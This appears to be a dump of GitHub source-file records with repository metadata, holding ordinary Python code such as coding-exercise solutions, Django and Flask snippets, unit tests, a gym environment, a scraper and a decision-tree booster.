import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt import pandas as pd import numpy as np from graph_tool.all import * def session_draw(cluster_id, sessions_id, log, pages, labels): cmap = plt.cm.tab20 colormap=cmap(np.linspace(0., 1., len(labels))) colormap=np.vstack((np.array([0,0,0...
UTF-8
Python
false
false
5,516
py
17
graph.py
16
0.556744
0.54913
0
142
37.852113
110
merapa/untitled
2,224,793,074,549
fd62218a19c5dc72501f7beb8f382fd9da779692
e4de6c16d20e9d15241cafb87336d0da3a3f2d0b
/venv/work/test4.py
d29e6878043b683923bfd0c6226a37fdf9d51df9
[]
no_license
https://github.com/merapa/untitled
7647945f47ad30099b0ddf3be3d9da5e53a88788
0186edc765c1afc120e6464db78c9b8e05a77682
refs/heads/master
2020-05-07T22:22:02.555066
2019-04-12T08:57:51
2019-04-12T08:57:51
180,942,831
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
T = int(input()) for test_case in range(1, T + 1): N, M = map(int,input().split(" ")) wi = list(map(int, input().split())) ti = list(map(int, input().split())) carryed = 0 wi.sort() ti.sort() print(wi) print(ti) max_loop1 = len(wi) max_loop2 = len(ti) wi_max_index = len(wi...
UTF-8
Python
false
false
928
py
5
test4.py
5
0.475216
0.459052
0
31
28.967742
59
anapaulamendes/validate-deploy
8,650,064,161,561
aac28d9c147b6221efd1922c225698dd0625e5bb
94452bdd10a32276aa1a29f6aedab1cdf5a2afc0
/core/tests/services/test_approvers_api.py
1aad9d498e8545110a28aa7fb7c7436087a7e1c7
[]
no_license
https://github.com/anapaulamendes/validate-deploy
b5afa345cc057d02636049116823b51b9303dfa8
c05d7937a4e356fbc997c4deb75a23cf47b1eea7
refs/heads/main
2023-06-08T19:47:02.307327
2021-03-15T20:46:41
2021-03-15T20:46:41
343,945,525
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
from unittest.mock import Mock, patch from faker import Faker from rest_framework.test import APITestCase from core.services.approvers_api import ApproversAPI class ApproversAPITest(APITestCase): def setUp(self): self.fake = Faker() self.approvers_api_wrapper = ApproversAPI() self.json =...
UTF-8
Python
false
false
995
py
22
test_approvers_api.py
15
0.683417
0.677387
0
28
34.535714
73
jaustinpage/frc_rekt
6,889,127,548,972
b23e0523f7e2d13ba2e6e08702fcc0e491ca4aa4
b536395bd2d8f173a9ee14e5b4db761db420b873
/tests/test_battery.py
2874318ba58771c88a809ac2c8bef6d0b28deb48
[ "MIT" ]
permissive
https://github.com/jaustinpage/frc_rekt
0e5adda094661cb29c65157a7b2c268ca97a393a
2b950712bc645bb39088105bd0561fa47970673b
refs/heads/master
2021-01-19T02:22:04.115853
2017-04-19T19:00:01
2017-04-19T19:00:01
86,247,544
5
0
MIT
false
2021-12-19T13:47:25
2017-03-26T16:32:42
2017-12-24T01:10:45
2019-03-06T19:07:14
127
5
0
0
Python
false
false
# -*- coding: UTF-8 -*- import pytest from frc_rekt.battery import Battery def test_init(): Battery() @pytest.fixture def battery(): return Battery() def test_voltage(battery): assert battery.voltage() == 13.2
UTF-8
Python
false
false
229
py
36
test_battery.py
21
0.659389
0.641921
0
17
12.470588
36
klowe0100/filebrowser-safe
2,654,289,812,499
fbafffbcb8bf517c8f8ac1e7350c60d7fb550baa
e4155ea1c752db8b33bae371f72e43bc05bdb232
/filebrowser_safe/compat.py
4f0f3c7a6dc643640675af8834e06fed846d9cdc
[ "BSD-2-Clause" ]
permissive
https://github.com/klowe0100/filebrowser-safe
2d811494bb1d7be0b99c3b4bbb5e9df29f54695e
1c489e67a99437a4d81f684681c4c1bae87409c0
refs/heads/master
2021-09-01T23:27:40.788763
2017-12-29T06:02:39
2017-12-29T06:02:39
115,570,491
0
0
null
true
2017-12-28T01:07:49
2017-12-28T01:07:49
2017-05-06T06:54:40
2017-12-22T18:26:03
1,058
0
0
0
null
false
null
import django django_version = django.VERSION is_gte_django2 = (django_version >= (2, 0)) if is_gte_django2: from django.urls import reverse else: from django.core.urlresolvers import reverse #noqa
UTF-8
Python
false
false
209
py
1
compat.py
1
0.732057
0.712919
0
10
19.9
54
SamKG/SNN-Edge-Detector
5,342,939,331,030
407444a60ea2c89e1141dbf3f606b9541f303741
cc16c5c7360b1c8436c2c8e42310606773248729
/vectorized/ganglion_layer.py
55f1602275f8efa2feb87c0be1485a9257c73f36
[ "MIT" ]
permissive
https://github.com/SamKG/SNN-Edge-Detector
b4d4df13c2c17042a4fbbbf49034d1fb2dc11b93
f29f21c4b207e7d84f81f451f3eb677c0be98f0c
refs/heads/master
2020-05-09T11:01:06.639979
2019-05-30T19:38:59
2019-05-30T19:38:59
181,063,743
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from parameters import * from brian2 import * from brian2tools import * GanglionLayer = NeuronGroup(NUM_NEURONS, eqs, threshold='v > 10*mV', reset='v = 0*mV', refractory=REFRACTORY_TIME, method=INTEG_METHOD) GanglionLayer.v = 0*mV # initialize voltages to 0 GanglionLayer.a = 0
UTF-8
Python
false
false
300
py
21
ganglion_layer.py
18
0.703333
0.676667
0
8
36.375
86
poleha/tatamo
4,999,341,935,888
50b0323cbc717288b36e2261cc02570ec88597b3
a24c6b538c570d875c71a0bbce2f2312be1972a0
/discount/urls.py
cca948f0a51d52f4451969042bcb19e78790b9c5
[]
no_license
https://github.com/poleha/tatamo
b0eeac227e2fdb14aa1e9fc1ff942691cb279ae0
de57199be4a1cbfa2b1f519debc4d2f742bfd63f
refs/heads/master
2021-03-12T20:41:17.918056
2015-12-30T19:58:56
2015-12-30T19:58:56
30,707,477
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.conf.urls import patterns, url from discount import views #from django.views.decorators.cache import cache_page urlpatterns = patterns('discount.views', #cart #url(r'^cart_add/(?P<pk>\d+)/$', views.AddProductToCart.as_view(), kwargs={'action': 'add'}, name='cart-add'), #url(r'^cart_remove/(?P<p...
UTF-8
Python
false
false
10,162
py
138
urls.py
46
0.661051
0.659555
0
137
72.211679
215
ArunBalajiR/Python-HackerRank-Solutions
12,756,052,909,675
eae02e9016e2bc4e4e34106290eaa81b675c5118
70fa51c3a23996080d38052190b9e9ba45345027
/13. Regex and Parsing/Re.findall() & Re.finditer().py
e9afb6c62224b1063be44e4b0a1eccdf2bc2c421
[]
no_license
https://github.com/ArunBalajiR/Python-HackerRank-Solutions
8f2688986d60f6cf94531e6a5a7483647217ba08
6c3ef012f04a446a249f9e74ab5ada6b0e80770f
refs/heads/master
2022-11-17T05:20:09.339118
2020-07-14T08:58:34
2020-07-14T08:58:34
277,461,821
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import re r=re.findall(r'(?<=[QWRTYPSDFGHJKLZXCVBNM])[aeiou]{2,}(?=[QWRTYPSDFGHJKLZXCVBNM])',input(),re.IGNORECASE) if len(r) == 0: print(-1) else: for i in r: print(i)
UTF-8
Python
false
false
186
py
66
Re.findall() & Re.finditer().py
65
0.612903
0.596774
0
8
22.25
105
FriskySaga/Pirates-Online-Rewritten
16,458,314,706,873
a8a5b4a4d98182a6fc3ec92cae5ef53844df92fe
e78db6dca6aac99de09a5bac2882b943b5e1586b
/pirates/teleport/DistributedFSMBase.py
07214c3d59eb03bc3a6ea7c57a66c9304714d1cf
[ "BSD-3-Clause" ]
permissive
https://github.com/FriskySaga/Pirates-Online-Rewritten
cd808aa096a60af93a6b2ed94ac384d187389948
999e52d47ae75d0f42e955910a4089d84274d020
refs/heads/main
2023-02-06T23:59:53.281112
2020-12-27T01:50:58
2020-12-27T01:50:58
324,483,700
0
0
null
true
2020-12-26T04:51:19
2020-12-26T04:51:18
2020-12-08T05:27:53
2018-09-25T00:13:30
15,226
0
0
0
null
false
false
from direct.fsm.FSM import FSM, FSMException, AlreadyInTransition, RequestDenied class DistributedFSMBase(FSM): pass class DistributedFSMErrors(): Undefined = 0 Success = Undefined Undefined += 1 InTransition = Undefined Undefined += 1 RequestDenied = Undefined Undefined += 1 Alre...
UTF-8
Python
false
false
361
py
260
DistributedFSMBase.py
252
0.709141
0.695291
0
16
21.625
80
tazoe5/tda_for_python
6,622,839,594,338
1e9ef38f5c77182d935902d2e80c8e55c72b82a8
c7534f5cedfd439c9ccb0f116e6436dc3a670240
/chaos.py
2edcba1962db2d35eb035e258022733e6d014e38
[]
no_license
https://github.com/tazoe5/tda_for_python
69d13bc55979784bca6904a23640a56319a1b491
10945c635345052c9e6d09cf8c0b04c06432c91d
refs/heads/master
2020-04-09T11:56:03.241545
2018-12-04T09:24:38
2018-12-04T09:24:38
160,329,471
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#coding:utf-8 import wave import scipy as sp import numpy as np import matplotlib.pyplot as plt import random import os import scandir from argparse import ArgumentParser def wave_load(filename): # open wave file wf = wave.open(filename,'r') channels = wf.getnchannels() # load wave data chunk_size...
UTF-8
Python
false
false
4,362
py
8
chaos.py
4
0.58417
0.568627
0
143
28.244755
75
bekk-studio/Astek-etude-tondeuse-autonome
16,174,846,874,793
a2dcadde1e6487627bc4b4681ce85f833c374bb5
dcefcd767067736bb5d343e01ded03fe67b6c0a5
/gazon.py
9b749bb4e45e33a10f0a3dbb69bdbfe5191cd381
[]
no_license
https://github.com/bekk-studio/Astek-etude-tondeuse-autonome
2c0b09f695723554653a75ab1026b17374a44242
59699ecfaa8949bb00073615e0e54ff3567af88b
refs/heads/master
2020-04-12T20:11:24.306179
2018-12-21T15:49:15
2018-12-21T15:49:15
162,728,675
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import numpy as np import sys from six import StringIO, b from gym import utils from gym.envs.toy_text import discrete FORWARD = 0 TURNRIGHT = 1 TURNLEFT = 2 """orientation 0 3 1 2 """ MAPS = { "4x4": [ "SPPP", "PPPP", "PPPP", "PPBG" ], "8x8": [ "SPP...
UTF-8
Python
false
false
4,330
py
3
gazon.py
1
0.522764
0.510978
0
155
26.916129
107
binweil/Point-Cloud-Rtabmap
7,155,415,519,047
5645cd31b6f64d11b98248702ca695c170adc96d
aa9c4242e3cf45fc5ed739d80e012c44c8d9c2b9
/data/process_data.py
c3cf0c35a2b232f107c3eba837dc0ce8accbf09a
[]
no_license
https://github.com/binweil/Point-Cloud-Rtabmap
e1d767df06c80e51e0675527c8a551898362a925
e72f003dbcf6fcbed9aff3b11c0e968675198774
refs/heads/master
2020-04-30T13:30:36.375401
2019-04-05T23:39:29
2019-04-05T23:39:29
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import os import csv def write_csv_file(fname): text_file = open(fname, "r") out_file = open("out_file.csv","w") with open(fname, 'r') as f: lines = f.readlines() #print(lines) lines_red = lines[11:] for lin in lines_red: mystring = lin.replace(" ", ",") print(mystring) out_file.write(mystring) wri...
UTF-8
Python
false
false
354
py
12
process_data.py
5
0.644068
0.638418
0
15
22.533333
36
AronsonDan/FlaskRestAPI
1,013,612,317,374
fa32b35062f0709879b5a310aaca7e675b69acb0
905e368900ef53c65854c9771e86637dba03f675
/resources/user.py
b9efc622f6f70657d0671707a601f6bb1075fad9
[]
no_license
https://github.com/AronsonDan/FlaskRestAPI
817e95286d25c2cba1a9bbeb222da6e23bc0071a
05fa50c9cc839d4bb83cf3c60943420e5eb103db
refs/heads/master
2020-12-02T22:16:29.719149
2017-07-05T09:51:10
2017-07-05T09:51:10
96,106,727
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from flask_restful import Resource, reqparse from models.usermodel import UserModel class UserRegister(Resource): def __init__(self): self.user_roles = ["Admin", "User"] parser = reqparse.RequestParser() parser.add_argument('username', required=True, ...
UTF-8
Python
false
false
1,443
py
3
user.py
2
0.53569
0.529453
0
39
36
132
mew177/vote-api
3,186,865,782,290
9966be3b36983b3b477aac190b8c469433aa1754
f7f28cfcfbea56c7000681534bfe64f23212e3e5
/vote-api/lib/python3.6/copy.py
1055a277c1986c4f04b503b7bd4514bd83178a6a
[]
no_license
https://github.com/mew177/vote-api
c26ad2b508f39418eb91cc366f1e7355176d0945
b95e29c9223636d12d34de817035f164dd71d1d4
refs/heads/master
2023-08-03T14:17:29.651960
2020-06-19T03:20:11
2020-06-19T03:20:11
273,392,080
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
/Users/Rycemond/anaconda3/lib/python3.6/copy.py
UTF-8
Python
false
false
47
py
48
copy.py
45
0.829787
0.765957
0
1
47
47
junha6316/Algorithm
9,723,805,974,868
0f4023f5854e98029174ab02da9db359f98921f4
94c470dd24251e8093b0e62e2966589bbd23773b
/0807_NormalNapSack_12865.py
5c65595f0b5810f8a96ae0005c4c2ff2d9530d86
[]
no_license
https://github.com/junha6316/Algorithm
eb9f4d4c4691881eb0842c2e73a56e4265a4cd82
2181e08694b105070a88f631be54f0449a4b7c67
refs/heads/master
2023-01-15T23:34:30.855847
2020-11-25T14:19:32
2020-11-25T14:19:32
283,513,806
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
N, K = map(int, input().split()) W, V =[0], [0] for i in range(N): w,v =map(int, input().split()) W.append(w) V.append(v) dp =[[0 for i in range(K+1)] for i in range(N+1)] for i in range(1, N+1): for j in range(1, K+1): if j < W[i]: dp[i][j] =dp[i-1][j] else: ...
UTF-8
Python
false
false
400
py
197
0807_NormalNapSack_12865.py
190
0.445
0.415
0
19
19.736842
61
cms-sw/cmssw-cfipython
18,287,970,751,283
07a764c19d51111f828629ec93051a0c90653b98
3996539eae965e8e3cf9bd194123989741825525
/HLTrigger/JetMET/hltMETCleanerUsingJetID_cfi.py
5c3aca46feb94359a17bb8cc89560144082d0dc7
[]
no_license
https://github.com/cms-sw/cmssw-cfipython
01990ea8fcb97a57f0b0cc44a8bf5cde59af2d98
25ee4c810103c4a507ca1b949109399a23a524c5
refs/heads/CMSSW_11_2_X
2023-09-01T16:56:00.658845
2022-06-20T22:49:19
2022-06-20T22:49:19
136,184,115
1
0
null
false
2022-10-19T14:04:01
2018-06-05T13:47:28
2022-06-20T22:49:26
2022-10-19T13:48:13
1,145
1
1
0
Python
false
false
import FWCore.ParameterSet.Config as cms hltMETCleanerUsingJetID = cms.EDProducer('HLTMETCleanerUsingJetID', minPt = cms.double(20), maxEta = cms.double(5), metLabel = cms.InputTag('hltMet'), jetsLabel = cms.InputTag('hltAntiKT4CaloJets'), goodJetsLabel = cms.InputTag('hltCaloJetIDPassed'), mightGet = cms....
UTF-8
Python
false
false
349
py
838
hltMETCleanerUsingJetID_cfi.py
838
0.762178
0.750716
0
10
33.9
67
DX3906W/NLP-practice
15,633,681,004,534
7358f3a4e077ee907fcc95bdb4de1b1f67f23596
1e71d0d4d5a0f71746582515d18e83cee8daf8d5
/Competition/Interview/extract_pdf.py
c305f147665e5ea67a73098f4d44c69fef21748f
[]
no_license
https://github.com/DX3906W/NLP-practice
afbfe74223da4b7aa43d5cda4cc01c22d79215cd
2fabd63273d1b6e2b7759d3c2983413022f65104
refs/heads/master
2020-12-14T14:05:01.612242
2020-07-02T04:53:32
2020-07-02T04:53:32
242,247,010
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import pdfplumber import numpy as np import appConfig import os def read_pdf(file_path): with pdfplumber.open(file_path) as pdf: print('='*10, 'Start to read pdf file, totally ', len(pdf.pages), ' pages', '='*10) pdf_text = [] page_num = len(pdf.pages) for index, page in...
UTF-8
Python
false
false
1,724
py
60
extract_pdf.py
33
0.581206
0.563805
0
47
34.638298
118
N140191/Hacktoberfest-JKLU
15,101,105,032,818
05dbe7d27df3eaf0cefeeb7ceead2a1dd9b4782f
ae4d258f7bd0938bffe899a5b58e51489eb529ec
/data/aman.py
ccd3d846bcf476857cd927f0776bc008203914fe
[]
no_license
https://github.com/N140191/Hacktoberfest-JKLU
6ebea50af20076aef830ef705c805ca8e9b99b74
4df737d7cb0ad72151e5fbefdfdb2579d21f9456
refs/heads/master
2023-01-03T23:07:10.730073
2020-10-22T04:36:31
2020-10-22T04:36:31
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
name="Aman Kumar Gupta" year="Second" Branch="Computer science" print("Hello Every one this is ",name," from ",year," year . Hacktober fest is cool")
UTF-8
Python
false
false
150
py
20
aman.py
19
0.72
0.72
0
4
36.5
85
howaitoreivun/no_blocking_io
17,669,495,480,244
127dd79bd376961500d2e5611727cc522304d041
8231b244f9ce61b7f76f6b606dfe38c2087080d8
/no_blocking_io/__init__.py
207504d454bed96ab00b9b5d0fe49107b932000d
[ "MIT" ]
permissive
https://github.com/howaitoreivun/no_blocking_io
034f4bbfd0cc49085d3cfac41649271416734b05
e3bf89379f8060fa9625802d90c96124e3a8e525
refs/heads/main
2023-03-19T19:06:14.999621
2023-03-18T11:49:57
2023-03-18T11:49:57
348,296,710
0
0
null
false
2021-03-17T10:38:13
2021-03-16T10:02:40
2021-03-17T10:37:11
2021-03-17T10:38:13
1
0
0
0
null
false
false
import asyncio import functools from typing import Callable __all__ = ["to_thread"] def to_thread(func: Callable): """Asynchronously run function `func` in a separate thread""" @functools.wraps(func) async def wrapper(*args, **kwargs): partial = functools.partial(func, *args, **kwargs) c...
UTF-8
Python
false
false
399
py
3
__init__.py
1
0.666667
0.666667
0
17
22.470588
65
rayhunglu/CS534-Machine-Learning
8,143,258,037,049
66e6f14adb63020dd380351ab1934c32b0209a15
3c2baa50e08d88e861cdb8cee2c558c3c88d4dff
/Implementation 3/decisionTree/adaboost.py
972d09987e144143b4feeb0d8205db9eba1b3912
[]
no_license
https://github.com/rayhunglu/CS534-Machine-Learning
167ce4c0c2f1c6b473dd4f436b4822aca3193d38
32b86a28ad82bcbcdb21822cdb4029b177aeeac1
refs/heads/master
2020-04-02T03:18:54.708860
2019-09-02T04:17:29
2019-09-02T04:17:29
153,957,879
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
import decisionTree as dt import numpy as np from node import Node import math import datetime class adaboost: def __init__(self, depth, lNum, dataNum): self.wArr = [] self.L = lNum self.dtClass = dt.decesionTree(depth=depth, dataNum=dataNum) self.alphaSet = [] ...
UTF-8
Python
false
false
3,647
py
9
adaboost.py
5
0.574445
0.562106
0
97
35.597938
91
sriharimaneru/askra-repo
4,818,953,349,261
756839cc190625b7f01a215355248c239e44fbfe
cf7ccb4436b47463cae030e36d2a00581def65f1
/src/askra/tag/admin.py
4a089d0cc86af4c7dd8ad8b6e66c4559c55e1212
[]
no_license
https://github.com/sriharimaneru/askra-repo
6fb434658d2c481172f2bca93543c736244cf651
190d61926fc299a49a98bf3a6f9ddbc0a6fb409c
refs/heads/master
2021-01-19T16:55:56.193144
2013-09-03T03:58:17
2013-09-03T03:58:17
5,722,415
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.contrib import admin from tag.models import Tag class TagAdmin(admin.ModelAdmin): list_display = ('id', 'name', 'category') list_filter = ('category',) search_fields = ('name',) admin.site.register(Tag, TagAdmin)
UTF-8
Python
false
false
240
py
42
admin.py
18
0.6875
0.6875
0
10
23
45
pramada517/Monkey
5,540,507,856,834
96ff12fa6a794f95dd3595fcf26f510b3129a183
4edaeefe8ad43372825b9365927524f0fcb8366d
/run.py
91637b5de231bf9b917f360cf4311d8925c803ce
[]
no_license
https://github.com/pramada517/Monkey
8647719e5e0445f018ebf162dc3a66f50aa84495
421ee6f70a8af2c9ae92a186710b7f30eb7bedd0
refs/heads/master
2021-01-21T19:28:22.394737
2015-06-02T20:22:37
2015-06-02T20:22:37
35,571,671
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!flask/bin/python from monkey import app from monkey.database import init_db init_db() app.run(debug=False)
UTF-8
Python
false
false
111
py
16
run.py
5
0.765766
0.765766
0
6
17.333333
35
feleHaile/my-isc-work
2,430,951,532,879
540f5f0633a040a536660b3cc1793277c664fbdf
2ba5d6343f872bc71b0adecf70761a6eba5f9b4d
/python_work_RW/10-sets-dictionaries.py
092c721b94cfbd3a18bb75654c9a8834fd04fdb7
[]
no_license
https://github.com/feleHaile/my-isc-work
9cac7d6a8cc3c10cdec9db6db876ce0056774217
85937c07085e0bf6ceddb7e0fc27e8c77cbf149e
refs/heads/master
2020-05-17T09:22:24.573666
2017-11-17T15:35:55
2017-11-17T15:35:55
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
print print "Scripts and Libraries Exercise" print # part 1 - sets a = set([0, 1, 2, 3, 4, 5]) # creates a set, a b = set([2, 4, 6, 8]) # creates a set, b print a.union(b) # conjoins the two, but 2 and 4 don't appear twice as its a set print a.intersection(b) # prints the numbers where the two sets are the same pri...
UTF-8
Python
false
false
1,473
py
25
10-sets-dictionaries.py
20
0.690428
0.677529
0
52
27.307692
80
Ing-Josef-Klotzner/python
9,552,007,306,946
e87e80c791f02c64f801d7f3f1f4816e38b9c341
a31de016611f3b4efc7a576e7113cad1a738419b
/_get_all_divisors.py
3e57fdb4bdfd8dfa9dcb7d57b88de01f6ed78159
[]
no_license
https://github.com/Ing-Josef-Klotzner/python
9d4044d632672fff966b28ab80e1ef77763c78f5
3913729d7d6e1b7ac72b46db7b06ca0c58c8a608
refs/heads/master
2022-12-09T01:40:52.275592
2022-12-01T22:46:43
2022-12-01T22:46:43
189,040,355
0
0
null
false
2022-12-01T19:52:37
2019-05-28T14:05:16
2022-05-16T12:33:18
2022-12-01T19:52:36
14,525
0
0
0
Python
false
false
from collections import deque def getDiv (n): # get all divisors (sorted) res1 = deque ([1]) res3 = deque ([n]) d = 2 sqrtn = n ** .5 while d < sqrtn: if n % d == 0: res1.append (d) res3.appendleft (n // d) d += 1 res2 = deque ([d]) if n == d * d else dequ...
UTF-8
Python
false
false
355
py
1,113
_get_all_divisors.py
1,074
0.484507
0.447887
0
13
26.307692
50
Etiqa/bromine
953,482,771,163
af368fc7eb7fa9c5bed340861cb8b209d75048e5
774d16302f7f641cbb4328b5c441f8b148523226
/src/bromine/element/web_element.py
22dd1c0195bafc4a43fffe251f8ae7a2d3511538
[ "BSD-2-Clause" ]
permissive
https://github.com/Etiqa/bromine
ac4917770c6cc508d37a35d0f7ab74d70e07323d
cabf0931f5a06796c26fdc7fb9f7ecf147554fd5
refs/heads/master
2021-06-30T06:40:33.497963
2020-08-21T11:01:55
2020-08-21T11:01:55
129,254,730
2
2
null
null
null
null
null
null
null
null
null
null
null
null
null
""" Web element model. """ import six from bromine.exceptions import (NoSuchElementException, MultipleElementsFoundError, StaleElementReferenceException) from .base import Element from .locator import Locator, XPath from ..utils.image import ScreenshotFr...
UTF-8
Python
false
false
4,892
py
61
web_element.py
45
0.617334
0.616517
0
147
32.278912
91
lanchaoxiang/python
2,731,599,215,470
e17d833aad40d53cc3e641f21fb412d8fb8f8edd
12d333930e82bf90a977e34d22cef04cbc045f02
/joinimg.py
b26b60d3740e186ead4c513966cd74c22a941fad
[]
no_license
https://github.com/lanchaoxiang/python
9b7c64bd4c17cb2fadf71729f457c312d02a2965
0e4fe6118a4a67164dc40d2d34bbad40d76777a9
refs/heads/master
2020-07-24T08:34:32.995663
2018-03-08T07:37:55
2018-03-08T07:37:55
73,791,548
4
1
null
null
null
null
null
null
null
null
null
null
null
null
null
import os from math import sqrt from PIL import Image #path是存放好友头像图的文件夹的路径 path = path = "/home/lanroot/图片/itchat/" pathList = [] for item in os.listdir(path): imgPath = os.path.join(path,item) pathList.append(imgPath) total = len(pathList)#total是好友头像图片总数 line = int(sqrt(total))#line是拼接图片的行数(即每一行包含的图片数量) NewIma...
UTF-8
Python
false
false
880
py
5
joinimg.py
5
0.608355
0.578329
0
28
26.392857
55
Matgrb/sentiment-analysis-rebtel
5,437,428,621,347
a4c19d2430197917afffd72d9e754ec26cb3743f
78c2f97e67e7167c49743b01058ccd12188589fb
/scraper.py
43f94357c2c31d967b28d546ecd45c79c92031e5
[]
no_license
https://github.com/Matgrb/sentiment-analysis-rebtel
7108309bc2c9abbcf94ceaf5dfbf91bd8d17bf35
e88b854f38835da524d074573e3c9b1cafeadd00
refs/heads/master
2020-03-21T20:14:53.707334
2018-06-28T09:36:23
2018-06-28T09:36:23
138,995,853
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- import lxml.html as html import requests import time import pandas as pd import re ''' The class scrapes the reviews from trust pilot for given link ''' class Scraper: def __init__(self,scrapingWebsite,columnNames): self.website=scrapingWebsite self.columns=columnNames ...
UTF-8
Python
false
false
2,359
py
12
scraper.py
7
0.603222
0.597711
0
58
38
161
Aasthaengg/IBMdataset
14,027,363,189,005
2955649c341b4031692466e6e23127ef73b412b9
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03352/s513965074.py
7a1f6127bb6e815926272ae80f59f61dd228dcc8
[]
no_license
https://github.com/Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
x=int(input()) l=[] if x==1: print(1) else: for i in range(2,x+1): for j in range(1,x+1): y=j**i if y<=x: l.append(y) elif y>x: break print(max(l))
UTF-8
Python
false
false
238
py
202,060
s513965074.py
202,055
0.365546
0.340336
0
16
13.9375
30
wlgud0402/pyfiles
17,025,250,373,209
8a75363201632e8690949fc3a455257b93d9701a
c8be7becd7466bd6639382156e0886fce3cfb386
/repeat_for.py
4a63c309bacef841bedf584516dd6d20e45b89d6
[]
no_license
https://github.com/wlgud0402/pyfiles
864db71827aba5653d53320322eb8de8b0a5fc49
0e8b96c4bbfb20e1b5667ce482abe75061662299
refs/heads/master
2021-02-28T00:42:51.321207
2020-03-09T10:48:52
2020-03-09T10:48:52
245,648,824
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#for 반복문 for i in range(10): #10번 반복 하겠다는말! 여기서 is는 반복자(불특정) print("반복") #for 반복자 in 반복할수 있는것: #코드 #리스트 요소 하나하나가 element 변수로 들ㄹ어가서 차례차례 반복후 출력 list_a = [12,45,34,78,97,34] for element in list_a: print(element) #for반복문을 문자열과 함께 사용할수도 있다 for element in list_a: print("숫자", element) for commen...
UTF-8
Python
false
false
529
py
107
repeat_for.py
102
0.630252
0.585434
0
20
16.9
59
santhoshbabu4546/GUVI-9
12,189,117,204,532
ed9b402d85abf62c4c2fb40a21aacb360278a744
bfaf64c553eb43684970fb3916eedaafbecf0506
/set5/avg.py
c87933be49238b13a15afbb91cb8a93f646e5d64
[]
no_license
https://github.com/santhoshbabu4546/GUVI-9
879e65df0df6fafcc07166b2eaecf676ba9807a2
b9bfa4b0fa768e70c8d3f40b11dd1bcc23692a49
refs/heads/master
2022-01-24T15:22:34.457564
2019-07-21T14:20:35
2019-07-21T14:20:35
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
a1=int(input()) a2=list(map(int,input().split())) print(int(sum(a2)/len(a2))
UTF-8
Python
false
false
77
py
344
avg.py
344
0.649351
0.597403
0
3
24.666667
33
prashdevops/mypython
15,882,789,110,288
f80b056be217d6101f28e5e413e46b2867f101ef
0542bec5f7dbc22657b4e0a212b56e231e1df0ce
/intro.py
27346195f84932a751bf61a33ad78fb2336c9dd1
[]
no_license
https://github.com/prashdevops/mypython
b6b09c2038a80a34721e60ab7d75870497b9d7a2
484c8aa67cb9cd79c4d4f6a91638017e5fcb3db9
refs/heads/master
2021-01-16T19:10:46.343141
2017-08-13T04:29:12
2017-08-13T04:29:12
100,149,762
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# This is my first python program and This is Intrduction # Developed by Prash.DevOps my_message = 'Hello Word' my_custom_message = 'Prash\'s Custom Message' my_custom_message_one = "Prash's Second Message" my_custom_message_multiline = """ Hi , Here is my example of custom variables which is having multilines """ p...
UTF-8
Python
false
false
1,022
py
2
intro.py
2
0.737769
0.728963
0
31
31.967742
77
Marten72/chess_stats
15,410,342,704,360
b0d3702e9ab3cd8c60e5db87ab888a0112cfacc3
2d9d4b7bfcb517641fe92214ad34b730a35be5fc
/util.py
2a93176c6e3a48b28d1c3823557c8a490e4ca629
[]
no_license
https://github.com/Marten72/chess_stats
5a2ab79227070ccf3250c86bdd54bf38d8a0c403
fa1a001f98a1a1b6636fc99caf6439d1d88abfee
refs/heads/master
2020-03-28T06:00:21.360622
2015-03-14T03:57:58
2015-03-14T03:57:58
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import argparse def parse_host_and_port(): parser = argparse.ArgumentParser() parser.add_argument( '--port', action='store', type=int, dest='port', default=5000, help='The port that should be listned on.', ) parser.add_argument( '--host', action='store', type=str, dest='host', default='0.0.0...
UTF-8
Python
false
false
452
py
46
util.py
31
0.668142
0.650442
0
23
18.652174
51
Wayne27/NCHUPrograms
1,614,907,719,919
ed09e23015f0f3055dc2288d79cfa42868ddf311
5f718a342c4d8f96021d62125cbcd7a0fdb642d5
/專題程式/Main.py
5269780e9babb65ef5e09939535839370cc10cb6
[]
no_license
https://github.com/Wayne27/NCHUPrograms
b1ea92a8d755f55577443015aa08a992a4f96d32
a2d9c23ba5ae10f507c78664a7711b714f20cbe2
refs/heads/master
2021-01-20T21:35:11.924010
2017-09-04T15:00:03
2017-09-04T15:00:03
101,770,931
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- import jieba import MySQLdb import sys from DBcrud import DBConn from food import Food from traffic import Traffic from other import Other from news import News from entertainment import Entertainment from buy import Buy from greeting import Greeting from NchuNews import nchuNews class Talk: ...
UTF-8
Python
false
false
1,879
py
38
Main.py
16
0.666489
0.665954
0
63
28.68254
59
geroyromanov/phone_control
16,612,933,539,058
5f8a7eef3c44d6d4711fdcb3c36678070020c36a
f37c342712fdb1077a988500c09bb02520a22b55
/backend/api/models.py
30fac57aa0c64d30852f34822611221e888d11ea
[]
no_license
https://github.com/geroyromanov/phone_control
